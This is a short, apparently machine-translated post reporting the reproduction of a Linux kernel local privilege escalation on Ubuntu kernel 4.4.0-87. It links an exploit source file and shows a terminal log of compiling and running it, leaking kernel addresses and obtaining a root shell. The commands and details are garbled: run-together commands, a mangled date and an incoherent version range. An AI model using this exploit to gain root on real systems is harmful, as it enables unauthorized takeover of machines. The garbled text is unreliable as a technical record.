New version of Ubuntu local power-Up vulnerability replication

The vulnerability was fixed in the older version, but the new version still has a vulnerability

Impact Scope: Linux Kernel version 4.14-4.4,ubuntu/debian release

Exp:http://cyseclabs.com/exploits/upstream44.c

Test environment

[Email protected]:~$ uname-alinux ubuntu 4.4.0-87-generic #110-ubuntu SMP Tue Jul 12:55:35 UTC x86_64 x86_64 x86_ Gnu/linux

Start testing

[Email protected]:~$ gcc-o Test upstream44.c [email protected]:~$ chmod-r 777 Test[email protected]:~$./testtask_struct = Ffff8800338cd400uidptr = ffff880007530904spawning root Shell[email protected]:~# whoamiroot

Reproducible success

New version of Ubuntu local power-Up vulnerability replication